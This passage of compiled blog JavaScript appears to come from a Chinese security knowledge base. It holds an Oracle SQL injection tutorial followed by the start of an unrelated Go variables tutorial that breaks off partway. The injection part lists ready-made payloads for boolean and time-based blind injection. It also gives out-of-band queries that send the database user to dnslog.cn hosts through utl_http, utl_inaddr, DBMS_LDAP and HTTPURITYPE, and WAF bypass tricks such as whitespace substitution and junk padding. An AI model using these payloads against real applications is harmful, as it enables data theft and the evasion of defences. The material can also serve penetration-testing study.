\u8fd4\u56de\u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u6570\u636e\n?id=-1+or+(select+substr(user,1,1)+from+dual)='a'\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404141831145.png",alt:"image-20230404141831145"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404141854020.png",alt:"image-20230404141854020"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"substr()"})," \u3001",(0,r.jsx)(e.code,{children:"decode()"})," \u51fd\u6570\u7684\u76f2\u6ce8(\u5e38\u7528)"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"decode(\u5b57\u6bb5\u6216\u5b57\u6bb5\u7684\u8fd0\u7b97, \u503c1, \u503c2, \u503c3)"})," \uff1a\u5f53\u5b57\u6bb5\u6216\u5b57\u6bb5\u7684\u8fd0\u7b97\u7684\u503c\u7b49\u4e8e\u503c1\u65f6\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u503c2\uff0c\u5426\u5219\u8fd4\u56de3\u3002\u5f53\u7136\u503c1\uff0c\u503c2\uff0c\u503c3\u4e5f\u53ef\u4ee5\u662f\u8868\u8fbe\u5f0f\uff0c\u8fd9\u4e5f\u4e3a\u540e\u9762\u7684\u65f6\u95f4\u76f2\u6ce8\u63d0\u4f9b\u4e86\u4fbf\u5229\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(select+decode(substr((select+user+from+dual),1,1),'T',1,0)+from+dual\n?id=-1+or+1=(select+decode(substr((\u5b50\u8bed\u53e5),1,1),'T',1,0)+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142433698.png",alt:"image-20230404142433698"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+(select+ascii(substr((select+user+from+dual),1,1))from+dual)=84 # T\n?id=-1+or+(select+ascii(substr((\u5b50\u8bed\u53e5),1,1))from+dual)=84\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142740903.png",alt:"image-20230404142740903"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408\u4e0a",(0,r.jsx)(e.code,{children:"case"}),"\u3001",(0,r.jsx)(e.code,{children:"substr()"}),"\u51fd\u6570\u7684\u65b9\u5f0f"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(case+when+ascii(substr(user,1,1))=84+then+1+else+0+end)\n?id=-1+or+1=(case+when+ascii(substr((\u5b50\u8bed\u53e5),1,1))=84+then+1+else+0+end)\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142933474.png",alt:"image-20230404142933474"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"instr()"}),"\u51fd\u6570\u7684\u76f2\u6ce8"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+(instr((select+user+from+dual),'T'))=1\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143058960.png",alt:"image-20230404143058960"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408\u4e0a",(0,r.jsx)(e.code,{children:"case"})," \u548c ",(0,r.jsx)(e.code,{children:"chr()"})," \u5c31\u53ef\u4ee5\u5bf9ASCII\u7801\u6570\u5b57\u8fdb\u884c\u76f2\u6ce8\uff08\u76f8\u5bf9\u590d\u6742\u4e00\u70b9\uff09"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(case+instr+(user,chr(84),1,1)+when+1+then+1+else+0+end) --+\n?id=-1+or+1=(case+instr+((\u5b50\u8bed\u53e5),chr(84),1,1)+when+1+then+1+else+0+end) --+\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"DBMS_PIPE.RECEIVE_MESSAG"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1+and+1=(dbms_pipe.receive_message('RDS',5))\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143456371.png",alt:"image-20230404143456371"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408",(0,r.jsx)(e.code,{children:"docode()"})," \u8fdb\u884c\u5ef6\u65f6"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(select+decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)\n?id=-1+or+1=(select+decode(substr((\u5b50\u8bed\u53e5),1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143613656.png",alt:"image-20230404143613656"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5916\u5e26\u653b\u51fboobout-of-band",children:"\u5916\u5e26\u653b\u51fbOOB\uff08Out Of Band\uff09"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7HTTP\u8bf7\u6c42,\u6216\u8005DNSlog,\u6765\u6784\u9020\u8bed\u53e5,\u5982\u679c\u76ee\u6807\u51fa\u7f51,\u5e76\u4e14\u5bf9\u6570\u636e\u5e93\u51fd\u6570\u6ca1\u6709\u8fdb\u884c\u9650\u5236,\u5c31\u4f1a\u5b9e\u73b0\u653b\u51fb"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"utl_http.request"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and utl_http.request('http://'||(select user from dual)||'.k4m0qx.dnslog.cn/')is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144339171.png",alt:"image-20230404144339171"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"utl_inaddr.get_host_address"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and utl_inaddr.get_host_address((select user from dual)||'.kgsfi8.dnslog.cn')is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144432252.png",alt:"image-20230404144432252"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"SYS.DBMS_LDAP.INIT"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and DBMS_LDAP.INIT((select user from dual)||'.wxe59v.dnslog.cn',80)is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144549520.png",alt:"image-20230404144549520"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"HTTPURITYPE"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 and (select HTTPURITYPE('http://'||(select user from dual)||'.t1hbkg.dnslog.cn/').GETCLOB() FROM DUAL)is not null --\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144709664.png",alt:"image-20230404144709664"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed5\u8fc7",children:"\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.h3,{id:"\u7f16\u7801\u7ed5\u8fc7",children:"\u7f16\u7801\u7ed5\u8fc7"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"hextoraw()"}),"\u548c",(0,r.jsx)(e.code,{children:"asciistr()"}),"\u914d\u5408",(0,r.jsx)(e.code,{children:"UTL_RAW.CAST_TO_VARCHAR2()"}),"\u51fd\u6570\u6765\u5b9e\u73b0\u7f16\u7801\u7684\u7ed5\u8fc7\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u9996\u5148\u53ef\u4ee5\u5c06\u5b57\u7b26\u53d8\u621016\u8fdb\u5236\u7f16\u7801\u5f62\u5f0f\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT rawtohex('abcdef') FROM dual; # \u5f97\u5230616263646566\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u5728\u8f93\u5165\u7684\u65f6\u5019\u501f\u52a9",(0,r.jsx)(e.code,{children:"UTL_RAW.CAST_TO_VARCHAR2"})," \u548c ",(0,r.jsx)(e.code,{children:"hextoraw"})," \u5c0616\u8fdb\u5236\u8fd8\u539f\u4e3a\u5b57\u7b26\u4e32"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(616263646566)) FROM dual; # \u8f93\u51faabcdef\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u7a7a\u683c\u7ed5\u8fc7",children:"\u7a7a\u683c\u7ed5\u8fc7"}),"\n",(0,r.jsxs)(e.p,{children:["\u5e38\u7528\u4e8e\u66ff\u6362\u7a7a\u683c",(0,r.jsx)(e.code,{children:"%20"})," \u7684\u5176\u4ed6\u5b57\u7b26",(0,r.jsx)(e.code,{children:"%0a\u3001%0b\u3001%2b\u3001%0c\u3001%0d\u3001%00\u3001%20\u3001%09"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT 1 FROM dual; \u6b63\u5e38\u8bed\u53e5\nSELECT%0a1%0aFROM%0adual; \\n\u6362\u884c\u6765\u66ff\u4ee3\u7a7a\u683c\nSELECT%0b1%0bFROM%0bdual; \u4f7f\u7528tab\u6765\u66ff\u6362\u7a7a\u683c\nSELECT%0c1%0cFROM%0cdual; \u4f7f\u7528\\r\u56de\u8f66\u5f00\u66ff\u6362\u7a7a\u683c\nSELECT/**/1/**/FROM/**/dual; \u591a\u884c\u6ce8\u91ca\u7b26\u6765\u66ff\u4ee3\u56de\u8f66\nSELECT--%0a1--%0aFROM--%0adual; \u5355\u884c\u6ce8\u91ca\u7b26\u548c\u6362\u884c\u6765\u66ff\u4ee3\u56de\u8f66\nSELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; \u4f7f\u7528\u5185\u8054\u6ce8\u91ca\u7b26\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",children:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26"}),"\n",(0,r.jsxs)(e.p,{children:["Oracle\u4e2d\u7528",(0,r.jsx)(e.code,{children:"CHR(10)"}),"\u8868\u793a\u6362\u884c\u3001",(0,r.jsx)(e.code,{children:"CHR(13)"}),"\u8868\u793a\u56de\u8f66\u3001\u5b57\u7b26\u4e32\u62fc\u63a5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"||"}),"\uff0c\u90a3\u4e48\u56de\u8f66\u6362\u884c\u5373\u662f",(0,r.jsx)(e.code,{children:"chr(13)||chr(10)"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u53ea\u8981\u662f",(0,r.jsx)(e.code,{children:"select from XXX"}),"\u4e2d\u7684\u90fd\u53ef\u4ee5\u62fc\u63a5\u56de\u8f66\u6216\u6362\u884c\uff0c*\u4e0d\u9650\u4e8e\u5217\u540d\u3001\u5b57\u6bb5\u540d\u3001\u6b63\u5e38\u5b57\u7b26\u4e32\u3002\u5982\u4e0b\u56fe\u5728user\u524d\u62fc\u63a5\u56de\u8f66\u7b26"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 uNIon sELEct null,to_nchar((SelEct chr(13)||chr(10)||uSEr fROm dual)),null,null fROm dUAl\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5206\u5757\u4f20\u8f93",children:"\u5206\u5757\u4f20\u8f93"}),"\n",(0,r.jsxs)(e.p,{children:["\u76f4\u63a5\u7528github\u4e0aburp\u7684\u63d2\u4ef6\u5373\u53ef\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/c0ny1",children:"c0ny1"}),"/",(0,r.jsx)(e.a,{href:"https://github.com/c0ny1/chunked-coding-converter",children:(0,r.jsx)(e.strong,{children:"chunked-coding-converter"})})]}),"\n",(0,r.jsx)(e.h3,{id:"\u810f\u6570\u636e",children:"\u810f\u6570\u636e"}),"\n",(0,r.jsx)(e.p,{children:"waf\u5bf9\u4e8e\u6bcf\u4e00\u4e2a\u6570\u636e\u5305\u90fd\u8fdb\u884c\u68c0\u6d4b\uff0c\u8fd9\u662f\u5f88\u8017\u8d39\u8d44\u6e90\u7684\uff0c\u6240\u4ee5\u4e00\u822c\u53ea\u4f1a\u5728\u56fa\u5b9a\u957f\u5ea6\u8303\u56f4\u5185\u8fdb\u884c\u68c0\u6d4b\uff0c\u90a3\u4e48\u8fd9\u91cc\u5728\u8bed\u53e5\u4e2d\u63d2\u5165\u5927\u91cf\u65e0\u7528\u5b57\u7b26\uff0c\u4fbf\u53ef\u4ee5\u6210\u529f\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1/*\u810f\u6570\u636e*/uNIon/*\u810f\u6570\u636e*/sELEct/*\u810f\u6570\u636e*/null,to_nchar((SelEct chr(13)||chr(10)||uSEr/*\u810f\u6570\u636e*/fROm dual)),null,null/*\u810f\u6570\u636e*/fROm/*\u810f\u6570\u636e*/dUAl/*\u810f\u6570\u636e*/\n"})})]})}function m(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>d});var l=s(96540);const r={},i=l.createContext(r);function c(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),l.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/0e301a3f.a3e966fe.js b/assets/js/0e301a3f.a3e966fe.js new file mode 100644 index 0000000..8bdacdd --- /dev/null +++ b/assets/js/0e301a3f.a3e966fe.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6042],{28453:(n,e,c)=>{c.d(e,{R:()=>d,x:()=>o});var i=c(96540);const l={},s=i.createContext(l);function d(n){const e=i.useContext(s);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:d(n.components),i.createElement(s.Provider,{value:e},n.children)}},46043:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>i,toc:()=>a});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","description":"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/02.GoLang-\u53d8\u91cf\u5e38\u91cf.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/02.GoLang-\u53d8\u91cf\u5e38\u91cf.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b"}}');var l=c(74848),s=c(28453);const d={},o="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf",r={},a=[{value:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",id:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",level:2},{value:"\u6807\u8bc6\u7b26",id:"\u6807\u8bc6\u7b26",level:3},{value:"\u5173\u952e\u5b57",id:"\u5173\u952e\u5b57",level:3},{value:"\u53d8\u91cf",id:"\u53d8\u91cf",level:2},{value:"\u53d8\u91cf\u7684\u6765\u5386",id:"\u53d8\u91cf\u7684\u6765\u5386",level:3},{value:"\u53d8\u91cf\u7c7b\u578b",id:"\u53d8\u91cf\u7c7b\u578b",level:3},{value:"\u53d8\u91cf\u58f0\u660e",id:"\u53d8\u91cf\u58f0\u660e",level:3},{value:"\u6807\u51c6\u58f0\u660e",id:"\u6807\u51c6\u58f0\u660e",level:4},{value:"\u6279\u91cf\u58f0\u660e",id:"\u6279\u91cf\u58f0\u660e",level:4},{value:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",id:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",level:3},{value:"\u7c7b\u578b\u63a8\u5bfc",id:"\u7c7b\u578b\u63a8\u5bfc",level:4},{value:"\u77ed\u53d8\u91cf\u58f0\u660e",id:"\u77ed\u53d8\u91cf\u58f0\u660e",level:4},{value:"\u533f\u540d\u53d8\u91cf",id:"\u533f\u540d\u53d8\u91cf",level:4},{value:"\u5e38\u91cf",id:"\u5e38\u91cf",level:2},{value:"iota",id:"iota",level:3},{value:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b:",id:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b",level:4}];function t(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf"})}),"\n",(0,l.jsx)(e.h2,{id:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",children:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57"}),"\n",(0,l.jsx)(e.h3,{id:"\u6807\u8bc6\u7b26",children:"\u6807\u8bc6\u7b26"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u7f16\u7a0b\u8bed\u8a00\u4e2d\u6807\u8bc6\u7b26\u5c31\u662f\u7a0b\u5e8f\u5458\u5b9a\u4e49\u7684\u5177\u6709\u7279\u6b8a\u610f\u4e49\u7684\u8bcd\uff0c\u6bd4\u5982\u53d8\u91cf\u540d\u3001\u5e38\u91cf\u540d\u3001\u51fd\u6570\u540d\u7b49\u7b49\u3002 Go\u8bed\u8a00\u4e2d\u6807\u8bc6\u7b26\u7531\u5b57\u6bcd\u6570\u5b57\u548c",(0,l.jsx)(e.code,{children:"_"}),"(\u4e0b\u5212\u7ebf\uff09\u7ec4\u6210\uff0c\u5e76\u4e14\u53ea\u80fd\u4ee5\u5b57\u6bcd\u548c",(0,l.jsx)(e.code,{children:"_"}),"\u5f00\u5934\u3002 \u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a",(0,l.jsx)(e.code,{children:"abc"}),", ",(0,l.jsx)(e.code,{children:"_"}),", ",(0,l.jsx)(e.code,{children:"_123"}),", ",(0,l.jsx)(e.code,{children:"a123"}),"\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5173\u952e\u5b57",children:"\u5173\u952e\u5b57"}),"\n",(0,l.jsx)(e.p,{children:"\u5173\u952e\u5b57\u662f\u6307\u7f16\u7a0b\u8bed\u8a00\u4e2d\u9884\u5148\u5b9a\u4e49\u597d\u7684\u5177\u6709\u7279\u6b8a\u542b\u4e49\u7684\u6807\u8bc6\u7b26\u3002 \u5173\u952e\u5b57\u548c\u4fdd\u7559\u5b57\u90fd\u4e0d\u5efa\u8bae\u7528\u4f5c\u53d8\u91cf\u540d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u670925\u4e2a\u5173\u952e\u5b57\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:" break default func interface select\n case defer go map struct\n chan else goto package switch\n const fallthrough if range type\n continue for import return var\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u6b64\u5916\uff0cGo\u8bed\u8a00\u4e2d\u8fd8\u670937\u4e2a\u4fdd\u7559\u5b57\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:" Constants: true false iota nil\n\n Types: int int8 int16 int32 int64 \n uint uint8 uint16 uint32 uint64 uintptr\n float32 float64 complex128 complex64\n bool byte rune string error\n\n Functions: make len cap new append copy close delete\n complex real imag\n panic recover\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u53d8\u91cf",children:"\u53d8\u91cf"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7684\u6765\u5386",children:"\u53d8\u91cf\u7684\u6765\u5386"}),"\n",(0,l.jsx)(e.p,{children:"\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u7684\u6570\u636e\u90fd\u662f\u4fdd\u5b58\u5728\u5185\u5b58\u4e2d\uff0c\u6211\u4eec\u60f3\u8981\u5728\u4ee3\u7801\u4e2d\u64cd\u4f5c\u67d0\u4e2a\u6570\u636e\u65f6\u5c31\u9700\u8981\u53bb\u5185\u5b58\u4e0a\u627e\u5230\u8fd9\u4e2a\u53d8\u91cf\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u76f4\u63a5\u5728\u4ee3\u7801\u4e2d\u901a\u8fc7\u5185\u5b58\u5730\u5740\u53bb\u64cd\u4f5c\u53d8\u91cf\u7684\u8bdd\uff0c\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u4f1a\u975e\u5e38\u5dee\u800c\u4e14\u8fd8\u5bb9\u6613\u51fa\u9519\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u5229\u7528\u53d8\u91cf\u5c06\u8fd9\u4e2a\u6570\u636e\u7684\u5185\u5b58\u5730\u5740\u4fdd\u5b58\u8d77\u6765\uff0c\u4ee5\u540e\u76f4\u63a5\u901a\u8fc7\u8fd9\u4e2a\u53d8\u91cf\u5c31\u80fd\u627e\u5230\u5185\u5b58\u4e0a\u5bf9\u5e94\u7684\u6570\u636e\u4e86\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7c7b\u578b",children:"\u53d8\u91cf\u7c7b\u578b"}),"\n",(0,l.jsx)(e.p,{children:"\u53d8\u91cf\uff08Variable\uff09\u7684\u529f\u80fd\u662f\u5b58\u50a8\u6570\u636e\u3002\u4e0d\u540c\u7684\u53d8\u91cf\u4fdd\u5b58\u7684\u6570\u636e\u7c7b\u578b\u53ef\u80fd\u4f1a\u4e0d\u4e00\u6837\u3002\u7ecf\u8fc7\u534a\u4e2a\u591a\u4e16\u7eaa\u7684\u53d1\u5c55\uff0c\u7f16\u7a0b\u8bed\u8a00\u5df2\u7ecf\u57fa\u672c\u5f62\u6210\u4e86\u4e00\u5957\u56fa\u5b9a\u7684\u7c7b\u578b\uff0c\u5e38\u89c1\u53d8\u91cf\u7684\u6570\u636e\u7c7b\u578b\u6709\uff1a\u6574\u578b\u3001\u6d6e\u70b9\u578b\u3001\u5e03\u5c14\u578b\u7b49\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u6bcf\u4e00\u4e2a\u53d8\u91cf\u90fd\u6709\u81ea\u5df1\u7684\u7c7b\u578b\uff0c\u5e76\u4e14\u53d8\u91cf\u5fc5\u987b\u7ecf\u8fc7\u58f0\u660e\u624d\u80fd\u5f00\u59cb\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u58f0\u660e",children:"\u53d8\u91cf\u58f0\u660e"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u9700\u8981\u58f0\u660e\u540e\u624d\u80fd\u4f7f\u7528\uff0c\u540c\u4e00\u4f5c\u7528\u57df\u5185\u4e0d\u652f\u6301\u91cd\u590d\u58f0\u660e\u3002 \u5e76\u4e14Go\u8bed\u8a00\u7684\u53d8\u91cf\u58f0\u660e\u540e\u5fc5\u987b\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"\u6807\u51c6\u58f0\u660e",children:"\u6807\u51c6\u58f0\u660e"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u7684\u53d8\u91cf\u58f0\u660e\u683c\u5f0f\u4e3a\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d \u53d8\u91cf\u7c7b\u578b\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u53d8\u91cf\u58f0\u660e\u4ee5\u5173\u952e\u5b57",(0,l.jsx)(e.code,{children:"var"}),"\u5f00\u5934\uff0c\u53d8\u91cf\u7c7b\u578b\u653e\u5728\u53d8\u91cf\u7684\u540e\u9762\uff0c\u884c\u5c3e\u65e0\u9700\u5206\u53f7\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var name string\nvar age int\nvar isOk bool\n"})}),"\n",(0,l.jsx)(e.h4,{id:"\u6279\u91cf\u58f0\u660e",children:"\u6279\u91cf\u58f0\u660e"}),"\n",(0,l.jsxs)(e.p,{children:["\u6bcf\u58f0\u660e\u4e00\u4e2a\u53d8\u91cf\u5c31\u9700\u8981\u5199",(0,l.jsx)(e.code,{children:"var"}),"\u5173\u952e\u5b57\u4f1a\u6bd4\u8f83\u7e41\u7410\uff0cgo\u8bed\u8a00\u4e2d\u8fd8\u652f\u6301\u6279\u91cf\u53d8\u91cf\u58f0\u660e\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var (\n a string\n b int\n c bool\n d 